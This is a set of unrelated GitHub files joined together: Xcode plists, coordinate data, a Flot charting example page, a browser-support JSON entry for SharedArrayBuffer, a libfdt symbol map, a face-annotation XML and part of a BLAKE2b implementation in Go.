<string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.m</string> <string>public.objective-c-source</string> <string>Xcode.IDEKit.EditorDocument.SourceCode</string> <string>-gridView:cellForItemAtIndex:</string> <integer>0</integer> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>182</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>256</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>257</integer> </dict> <dict> <key>CF$UID</key> <integer>259</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>187</integer> </dict> <dict> <key>CF$UID</key> <integer>258</integer> </dict> </array> </dict> <real>1049</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>260</integer> </dict> <dict> <key>CF$UID</key> <integer>261</integer> </dict> </array> </dict> <string>IDEDebuggerArea</string> <real>148</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>263</integer> </dict> <dict> <key>CF$UID</key> <integer>264</integer> </dict> <dict> <key>CF$UID</key> <integer>265</integer> </dict> <dict> <key>CF$UID</key> <integer>266</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>267</integer> </dict> <dict> <key>CF$UID</key> <integer>268</integer> </dict> <dict> <key>CF$UID</key> <integer>267</integer> </dict> <dict> <key>CF$UID</key> <integer>270</integer> </dict> </array> </dict> <string>LayoutFocusMode</string> <string>console</string> <string>LayoutMode</string> <string>variables</string> <integer>1</integer> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>269</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>254</integer> </dict> </array> </dict> <string>ConsoleFilterMode</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>271</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>272</integer> </dict> </array> </dict> <string>DBGVariablesViewFilterMode</string> <integer>2</integer> </array> <key>$top</key> <dict> <key>State</key> <dict> <key>CF$UID</key> <integer>1</integer> </dict> </dict> <key>$version</key> <integer>100000</integer> </dict> </plist>
{ "pile_set_name": "Github" }
rows = {[1.312119e+002 5.237206e+002 ]; [1.202256e+002 1.731594e+002 1.821481e+002 1.911369e+002 2.021231e+002 2.260931e+002 2.400756e+002 2.550569e+002 2.710369e+002 2.870169e+002 3.209744e+002 3.559306e+002 3.729094e+002 4.038706e+002 4.328344e+002 4.568044e+002 4.667919e+002 4.757806e+002 4.847694e+002 4.917606e+002 4.967544e+002 5.057431e+002 5.087394e+002 5.097381e+002 5.107369e+002 ]; [3.679156e+002 3.729094e+002 3.699131e+002 3.639206e+002 3.609244e+002 3.599256e+002 3.549319e+002 3.529344e+002 3.519356e+002 3.509369e+002 3.479406e+002 3.469419e+002 3.469419e+002 3.449444e+002 3.449444e+002 ]; }; cols = {[2.601756e+002 2.501881e+002 ]; [5.128594e+002 5.008744e+002 4.998756e+002 4.988769e+002 4.978781e+002 4.948819e+002 4.928844e+002 4.918856e+002 4.898881e+002 4.878906e+002 4.848944e+002 4.828969e+002 4.818981e+002 4.808994e+002 4.808994e+002 4.818981e+002 4.828969e+002 4.838956e+002 4.848944e+002 4.858931e+002 4.868919e+002 4.888894e+002 4.898881e+002 4.898881e+002 4.898881e+002 ]; [2.441956e+002 2.971294e+002 3.161056e+002 3.460681e+002 3.660431e+002 3.760306e+002 4.119856e+002 4.269669e+002 4.339581e+002 4.399506e+002 4.559306e+002 4.599256e+002 4.639206e+002 4.669169e+002 4.689144e+002 ]; };
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>IDESourceControlProjectFavoriteDictionaryKey</key> <false/> <key>IDESourceControlProjectIdentifier</key> <string>2926F92F-9F81-4831-9C55-C263E86FC0F4</string> <key>IDESourceControlProjectName</key> <string>Camera Test</string> <key>IDESourceControlProjectOriginsDictionary</key> <dict> <key>491B8B6CF6B731F7AD11E8B49B59BE536E603468</key> <string>https://github.com/EricssonResearch/openwebrtc-examples.git</string> <key>8700B771B68BFE3D622EDEE2EF612F550AE65F42</key> <string>https://github.com/EricssonResearch/openwebrtc.git</string> </dict> <key>IDESourceControlProjectPath</key> <string>osx/Camera Test/Camera Test.xcodeproj</string> <key>IDESourceControlProjectRelativeInstallPathDictionary</key> <dict> <key>491B8B6CF6B731F7AD11E8B49B59BE536E603468</key> <string>../../../..</string> <key>8700B771B68BFE3D622EDEE2EF612F550AE65F42</key> <string>../../../../../openwebrtc</string> </dict> <key>IDESourceControlProjectURL</key> <string>https://github.com/EricssonResearch/openwebrtc-examples.git</string> <key>IDESourceControlProjectVersion</key> <integer>111</integer> <key>IDESourceControlProjectWCCIdentifier</key> <string>491B8B6CF6B731F7AD11E8B49B59BE536E603468</string> <key>IDESourceControlProjectWCConfigurations</key> <array> <dict> <key>IDESourceControlRepositoryExtensionIdentifierKey</key> <string>public.vcs.git</string> <key>IDESourceControlWCCIdentifierKey</key> <string>8700B771B68BFE3D622EDEE2EF612F550AE65F42</string> <key>IDESourceControlWCCName</key> <string>openwebrtc</string> </dict> <dict> <key>IDESourceControlRepositoryExtensionIdentifierKey</key> <string>public.vcs.git</string> <key>IDESourceControlWCCIdentifierKey</key> <string>491B8B6CF6B731F7AD11E8B49B59BE536E603468</string> <key>IDESourceControlWCCName</key> <string>openwebrtc-examples</string> </dict> </array> </dict> </plist>
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Flot Examples: Time zones</title> <link href="../examples.css" rel="stylesheet" type="text/css"> <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../../excanvas.min.js"></script><![endif]--> <script language="javascript" type="text/javascript" src="../../jquery.js"></script> <script language="javascript" type="text/javascript" src="../../jquery.flot.js"></script> <script language="javascript" type="text/javascript" src="../../jquery.flot.time.js"></script> <script language="javascript" type="text/javascript" src="date.js"></script> <script type="text/javascript"> $(function() { timezoneJS.timezone.zoneFileBasePath = "tz"; timezoneJS.timezone.defaultZoneFile = []; timezoneJS.timezone.init({async: false}); var d = [ [Date.UTC(2011, 2, 12, 14, 0, 0), 28], [Date.UTC(2011, 2, 12, 15, 0, 0), 27], [Date.UTC(2011, 2, 12, 16, 0, 0), 25], [Date.UTC(2011, 2, 12, 17, 0, 0), 19], [Date.UTC(2011, 2, 12, 18, 0, 0), 16], [Date.UTC(2011, 2, 12, 19, 0, 0), 14], [Date.UTC(2011, 2, 12, 20, 0, 0), 11], [Date.UTC(2011, 2, 12, 21, 0, 0), 9], [Date.UTC(2011, 2, 12, 22, 0, 0), 7.5], [Date.UTC(2011, 2, 12, 23, 0, 0), 6], [Date.UTC(2011, 2, 13, 0, 0, 0), 5], [Date.UTC(2011, 2, 13, 1, 0, 0), 6], [Date.UTC(2011, 2, 13, 2, 0, 0), 7.5], [Date.UTC(2011, 2, 13, 3, 0, 0), 9], [Date.UTC(2011, 2, 13, 4, 0, 0), 11], [Date.UTC(2011, 2, 13, 5, 0, 0), 14], [Date.UTC(2011, 2, 13, 6, 0, 0), 16], [Date.UTC(2011, 2, 13, 7, 0, 0), 19], [Date.UTC(2011, 2, 13, 8, 0, 0), 25], [Date.UTC(2011, 2, 13, 9, 0, 0), 27], [Date.UTC(2011, 2, 13, 10, 0, 0), 28], [Date.UTC(2011, 2, 13, 11, 0, 0), 29], [Date.UTC(2011, 2, 13, 12, 0, 0), 29.5], [Date.UTC(2011, 2, 13, 13, 0, 0), 29], [Date.UTC(2011, 2, 13, 14, 0, 0), 28], [Date.UTC(2011, 2, 13, 15, 0, 0), 27], [Date.UTC(2011, 2, 13, 16, 0, 0), 25], [Date.UTC(2011, 2, 13, 17, 0, 0), 19], [Date.UTC(2011, 2, 13, 18, 0, 0), 16], [Date.UTC(2011, 2, 13, 19, 0, 0), 14], [Date.UTC(2011, 2, 13, 20, 0, 0), 11], [Date.UTC(2011, 2, 13, 21, 0, 0), 9], [Date.UTC(2011, 2, 13, 22, 0, 0), 7.5], [Date.UTC(2011, 2, 13, 23, 0, 0), 6] ]; var plot = $.plot("#placeholderUTC", [d], { xaxis: { mode: "time" } }); var plot = $.plot("#placeholderLocal", [d], { xaxis: { mode: "time", timezone: "browser" } }); var plot = $.plot("#placeholderChicago", [d], { xaxis: { mode: "time", timezone: "America/Chicago" } }); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " &ndash; "); }); </script> </head> <body> <div id="header"> <h2>Time zones</h2> </div> <div id="content"> <h3>UTC</h3> <div class="demo-container" style="height: 300px;"> <div id="placeholderUTC" class="demo-placeholder"></div> </div> <h3>Browser</h3> <div class="demo-container" style="height: 300px;"> <div id="placeholderLocal" class="demo-placeholder"></div> </div> <h3>Chicago</h3> <div class="demo-container" style="height: 300px;"> <div id="placeholderChicago" class="demo-placeholder"></div> </div> </div> <div id="footer"> Copyright &copy; 2007 - 2014 IOLA and Ole Laursen </div> </body> </html>
{ "pile_set_name": "Github" }
{ "title":"Shared Array Buffer", "description":"Type of ArrayBuffer that can be shared across Workers.", "spec":"https://tc39.github.io/ecmascript_sharedmem/shmem.html", "status":"other", "links":[ { "url":"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer", "title":"MDN article" } ], "bugs":[ ], "categories":[ "JS" ], "stats":{ "ie":{ "5.5":"n", "6":"n", "7":"n", "8":"n", "9":"n", "10":"n", "11":"n" }, "edge":{ "12":"n", "13":"n", "14":"n", "15":"n", "16":"n d #1", "17":"n d #1", "18":"n d #1", "76":"y" }, "firefox":{ "2":"n", "3":"n", "3.5":"n", "3.6":"n", "4":"n", "5":"n", "6":"n", "7":"n", "8":"n", "9":"n", "10":"n", "11":"n", "12":"n", "13":"n", "14":"n", "15":"n", "16":"n", "17":"n", "18":"n", "19":"n", "20":"n", "21":"n", "22":"n", "23":"n", "24":"n", "25":"n", "26":"n", "27":"n", "28":"n", "29":"n", "30":"n", "31":"n", "32":"n", "33":"n", "34":"n", "35":"n", "36":"n", "37":"n", "38":"n", "39":"n", "40":"n", "41":"n", "42":"n", "43":"n", "44":"n", "45":"n", "46":"n", "47":"n", "48":"n", "49":"n", "50":"n", "51":"n", "52":"n", "53":"n", "54":"n", "55":"n", "56":"n", "57":"n d #1", "58":"n d #1", "59":"n d #1", "60":"n d #1", "61":"n d #1", "62":"n d #1", "63":"n d #1", "64":"n d #1", "65":"n d #1", "66":"n d #1", "67":"n d #1", "68":"n d #1", "69":"n d #1", "70":"n d #1" }, "chrome":{ "4":"n", "5":"n", "6":"n", "7":"n", "8":"n", "9":"n", "10":"n", "11":"n", "12":"n", "13":"n", "14":"n", "15":"n", "16":"n", "17":"n", "18":"n", "19":"n", "20":"n", "21":"n", "22":"n", "23":"n", "24":"n", "25":"n", "26":"n", "27":"n", "28":"n", "29":"n", "30":"n", "31":"n", "32":"n", "33":"n", "34":"n", "35":"n", "36":"n", "37":"n", "38":"n", "39":"n", "40":"n", "41":"n", "42":"n", "43":"n", "44":"n", "45":"n", "46":"n", "47":"n", "48":"n", "49":"n", "50":"n", "51":"n", "52":"n", "53":"n", "54":"n", "55":"n", "56":"n", "57":"n", "58":"n", "59":"n", "60":"n d #1", "61":"n d #1", "62":"n d #1", "63":"n d #1", "64":"n d #1", "65":"n d #1", "66":"n d #1", "67":"n d #1", "68":"y", "69":"y", "70":"y", "71":"y", "72":"y", "73":"y", "74":"y", "75":"y", "76":"y", "77":"y", "78":"y", "79":"y" }, "safari":{ "3.1":"n", "3.2":"n", "4":"n", "5":"n", "5.1":"n", "6":"n", "6.1":"n", "7":"n", "7.1":"n", "8":"n", "9":"n", "9.1":"n", "10":"n", "10.1":"n d #1", "11":"n d #1", "11.1":"n d #1", "12":"n d #1", "12.1":"n d #1", "13":"n d #1", "TP":"n d #1" }, "opera":{ "9":"n", "9.5-9.6":"n", "10.0-10.1":"n", "10.5":"n", "10.6":"n", "11":"n", "11.1":"n", "11.5":"n", "11.6":"n", "12":"n", "12.1":"n", "15":"n", "16":"n", "17":"n", "18":"n", "19":"n", "20":"n", "21":"n", "22":"n", "23":"n", "24":"n", "25":"n", "26":"n", "27":"n", "28":"n", "29":"n", "30":"n", "31":"n", "32":"n", "33":"n", "34":"n", "35":"n", "36":"n", "37":"n", "38":"n", "39":"n", "40":"n", "41":"n", "42":"n", "43":"n", "44":"n", "45":"n", "46":"n", "47":"n d #1", "48":"n d #1", "49":"n d #1", "50":"n d #1", "51":"n d #1", "52":"n d #1", "53":"n d #1", "54":"n d #1", "55":"n d #1", "56":"n d #1", "57":"n d #1", "58":"n d #1", "60":"n d #1", "62":"n d #1" }, "ios_saf":{ "3.2":"n", "4.0-4.1":"n", "4.2-4.3":"n", "5.0-5.1":"n", "6.0-6.1":"n", "7.0-7.1":"n", "8":"n", "8.1-8.4":"n", "9.0-9.2":"n", "9.3":"n", "10.0-10.2":"n", "10.3":"n d #1", "11.0-11.2":"n d #1", "11.3-11.4":"n d #1", "12.0-12.1":"n d #1", "12.2-12.3":"n d #1", "13":"n d #1" }, "op_mini":{ "all":"n" }, "android":{ "2.1":"n", "2.2":"n", "2.3":"n", "3":"n", "4":"n", "4.1":"n", "4.2-4.3":"n", "4.4":"n", "4.4.3-4.4.4":"n", "67":"u" }, "bb":{ "7":"n", "10":"n" }, "op_mob":{ "10":"n", "11":"n", "11.1":"n", "11.5":"n", "12":"n", "12.1":"n", "46":"n" }, "and_chr":{ "75":"n d #1" }, "and_ff":{ "67":"n d #1" }, "ie_mob":{ "10":"n", "11":"n" }, "and_uc":{ "12.12":"y" }, "samsung":{ "4":"n", "5.0-5.4":"n", "6.2-6.4":"n", "7.2-7.4":"n", "8.2":"n", "9.2":"n" }, "and_qq":{ "1.2":"n" }, "baidu":{ "7.12":"n" }, "kaios":{ "2.5":"n" } }, "notes":"", "notes_by_num":{ "1":"Has support, but was disabled across browsers in January 2018 due to Spectre & Meltdown vulnerabilities." }, "usage_perc_y":30.41, "usage_perc_a":0, "ucprefix":false, "parent":"", "keywords":"", "ie_id":"", "chrome_id":"4570991992766464", "firefox_id":"shared-array-buffer", "webkit_id":"", "shown":true }
{ "pile_set_name": "Github" }
LIBFDT_1.2 { global: fdt_next_node; fdt_check_header; fdt_move; fdt_string; fdt_num_mem_rsv; fdt_get_mem_rsv; fdt_subnode_offset_namelen; fdt_subnode_offset; fdt_path_offset; fdt_get_name; fdt_get_property_namelen; fdt_get_property; fdt_getprop_namelen; fdt_getprop; fdt_get_phandle; fdt_get_alias_namelen; fdt_get_alias; fdt_get_path; fdt_supernode_atdepth_offset; fdt_node_depth; fdt_parent_offset; fdt_node_offset_by_prop_value; fdt_node_offset_by_phandle; fdt_node_check_compatible; fdt_node_offset_by_compatible; fdt_setprop_inplace; fdt_nop_property; fdt_nop_node; fdt_create; fdt_add_reservemap_entry; fdt_finish_reservemap; fdt_begin_node; fdt_property; fdt_end_node; fdt_finish; fdt_open_into; fdt_pack; fdt_add_mem_rsv; fdt_del_mem_rsv; fdt_set_name; fdt_setprop; fdt_delprop; fdt_add_subnode_namelen; fdt_add_subnode; fdt_del_node; fdt_strerror; fdt_offset_ptr; fdt_next_tag; local: *; };
{ "pile_set_name": "Github" }
<?xml version="1.0" ?> <annotation> <folder>widerface</folder> <filename>6--Funeral_6_Funeral_Funeral_6_170.jpg</filename> <source> <database>wider face Database</database> <annotation>PASCAL VOC2007</annotation> <image>flickr</image> <flickrid>-1</flickrid> </source> <owner> <flickrid>yanyu</flickrid> <name>yanyu</name> </owner> <size> <width>1024</width> <height>1122</height> <depth>3</depth> </size> <segmented>0</segmented> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>64</xmin> <ymin>202</ymin> <xmax>126</xmax> <ymax>275</ymax> </bndbox> <lm> <x1>71.0</x1> <y1>226.0</y1> <x2>91.0</x2> <y2>228.0</y2> <x3>70.0</x3> <y3>242.0</y3> <x4>70.0</x4> <y4>255.0</y4> <x5>86.0</x5> <y5>258.0</y5> <visible>0</visible> <blur>0.7</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>227</xmin> <ymin>196</ymin> <xmax>295</xmax> <ymax>283</ymax> </bndbox> <lm> <x1>232.996</x1> <y1>225.772</y1> <x2>254.411</x2> <y2>226.871</y2> <x3>234.094</x3> <y3>246.089</y3> <x4>236.839</x4> <y4>263.112</y4> <x5>253.312</x5> <y5>263.112</y5> <visible>0</visible> <blur>0.7</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>532</xmin> <ymin>229</ymin> <xmax>603</xmax> <ymax>320</ymax> </bndbox> <lm> <x1>539.357</x1> <y1>268.317</y1> <x2>567.576</x2> <y2>268.893</y2> <x3>546.268</x3> <y3>287.897</y3> <x4>544.54</x4> <y4>299.415</y4> <x5>565.848</x5> <y5>299.415</y5> <visible>0</visible> <blur>0.72</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>597</xmin> <ymin>257</ymin> <xmax>637</xmax> <ymax>308</ymax> </bndbox> <lm> <x1>606.246</x1> <y1>275.33</y1> <x2>623.192</x2> <y2>275.33</y2> <x3>611.46</x3> <y3>287.388</y3> <x4>610.482</x4> <y4>297.165</y4> <x5>620.911</x5> <y5>296.839</y5> <visible>0</visible> <blur>0.64</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>776</xmin> <ymin>257</ymin> <xmax>825</xmax> <ymax>328</ymax> </bndbox> <lm> <x1>784.321</x1> <y1>290.661</y1> <x2>804.857</x2> <y2>293.339</y2> <x3>791.018</x3> <y3>305.393</y3> <x4>783.875</x4> <y4>311.196</y4> <x5>803.071</x5> <y5>313.875</y5> <visible>0</visible> <blur>0.64</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>862</xmin> <ymin>258</ymin> <xmax>908</xmax> <ymax>316</ymax> </bndbox> <lm> <x1>870.179</x1> <y1>278.719</y1> <x2>887.594</x2> <y2>280.201</y2> <x3>871.661</x3> <y3>288.723</y3> <x4>867.585</x4> <y4>302.804</y4> <x5>882.036</x5> <y5>303.915</y5> <visible>1</visible> <blur>0.68</blur> </lm> <has_lm>1</has_lm> </object> </annotation>
{ "pile_set_name": "Github" }
// Written in 2012 by Dmitry Chestnykh. // // To the extent possible under law, the author have dedicated all copyright // and related and neighboring rights to this software to the public domain // worldwide. This software is distributed without any warranty. // http://creativecommons.org/publicdomain/zero/1.0/ // BLAKE2b compression of message blocks. package blake2b func blocks(d *digest, p []uint8) { h0, h1, h2, h3, h4, h5, h6, h7 := d.h[0], d.h[1], d.h[2], d.h[3], d.h[4], d.h[5], d.h[6], d.h[7] for len(p) >= BlockSize { // Increment counter. d.t[0] += BlockSize if d.t[0] < BlockSize { d.t[1]++ } // Initialize compression function. v0, v1, v2, v3, v4, v5, v6, v7 := h0, h1, h2, h3, h4, h5, h6, h7 v8 := iv[0] v9 := iv[1] v10 := iv[2] v11 := iv[3] v12 := iv[4] ^ d.t[0] v13 := iv[5] ^ d.t[1] v14 := iv[6] ^ d.f[0] v15 := iv[7] ^ d.f[1] var m [16]uint64 j := 0 for i := 0; i < 16; i++ { m[i] = uint64(p[j]) | uint64(p[j+1])<<8 | uint64(p[j+2])<<16 | uint64(p[j+3])<<24 | uint64(p[j+4])<<32 | uint64(p[j+5])<<40 | uint64(p[j+6])<<48 | uint64(p[j+7])<<56 j += 8 } // Round 1. v0 += m[0] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[2] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[4] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[6] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[5] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[7] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[3] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[1] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[8] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[10] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[12] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[14] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[13] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[15] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[11] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[9] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 2. v0 += m[14] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[4] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[9] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[13] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[15] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[6] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[8] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[10] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[1] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[0] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[11] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[5] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[7] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[3] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[2] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[12] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 3. v0 += m[11] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[12] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[5] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[15] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[2] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[13] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[0] v1 += v5 v13 ^= v1 v13 = v13<<(64-16) | v13>>16 v9 += v13 v5 ^= v9 v5 = v5<<(64-63) | v5>>63 v0 += m[8] v0 += v4 v12 ^= v0 v12 = v12<<(64-16) | v12>>16 v8 += v12 v4 ^= v8 v4 = v4<<(64-63) | v4>>63 v0 += m[10] v0 += v5 v15 ^= v0 v15 = v15<<(64-32) | v15>>32 v10 += v15 v5 ^= v10 v5 = v5<<(64-24) | v5>>24 v1 += m[3] v1 += v6 v12 ^= v1 v12 = v12<<(64-32) | v12>>32 v11 += v12 v6 ^= v11 v6 = v6<<(64-24) | v6>>24 v2 += m[7] v2 += v7 v13 ^= v2 v13 = v13<<(64-32) | v13>>32 v8 += v13 v7 ^= v8 v7 = v7<<(64-24) | v7>>24 v3 += m[9] v3 += v4 v14 ^= v3 v14 = v14<<(64-32) | v14>>32 v9 += v14 v4 ^= v9 v4 = v4<<(64-24) | v4>>24 v2 += m[1] v2 += v7 v13 ^= v2 v13 = v13<<(64-16) | v13>>16 v8 += v13 v7 ^= v8 v7 = v7<<(64-63) | v7>>63 v3 += m[4] v3 += v4 v14 ^= v3 v14 = v14<<(64-16) | v14>>16 v9 += v14 v4 ^= v9 v4 = v4<<(64-63) | v4>>63 v1 += m[6] v1 += v6 v12 ^= v1 v12 = v12<<(64-16) | v12>>16 v11 += v12 v6 ^= v11 v6 = v6<<(64-63) | v6>>63 v0 += m[14] v0 += v5 v15 ^= v0 v15 = v15<<(64-16) | v15>>16 v10 += v15 v5 ^= v10 v5 = v5<<(64-63) | v5>>63 // Round 4. v0 += m[7] v0 += v4 v12 ^= v0 v12 = v12<<(64-32) | v12>>32 v8 += v12 v4 ^= v8 v4 = v4<<(64-24) | v4>>24 v1 += m[3] v1 += v5 v13 ^= v1 v13 = v13<<(64-32) | v13>>32 v9 += v13 v5 ^= v9 v5 = v5<<(64-24) | v5>>24 v2 += m[13] v2 += v6 v14 ^= v2 v14 = v14<<(64-32) | v14>>32 v10 += v14 v6 ^= v10 v6 = v6<<(64-24) | v6>>24 v3 += m[11] v3 += v7 v15 ^= v3 v15 = v15<<(64-32) | v15>>32 v11 += v15 v7 ^= v11 v7 = v7<<(64-24) | v7>>24 v2 += m[12] v2 += v6 v14 ^= v2 v14 = v14<<(64-16) | v14>>16 v10 += v14 v6 ^= v10 v6 = v6<<(64-63) | v6>>63 v3 += m[14] v3 += v7 v15 ^= v3 v15 = v15<<(64-16) | v15>>16 v11 += v15 v7 ^= v11 v7 = v7<<(64-63) | v7>>63 v1 += m[1] v1 += v5 v13 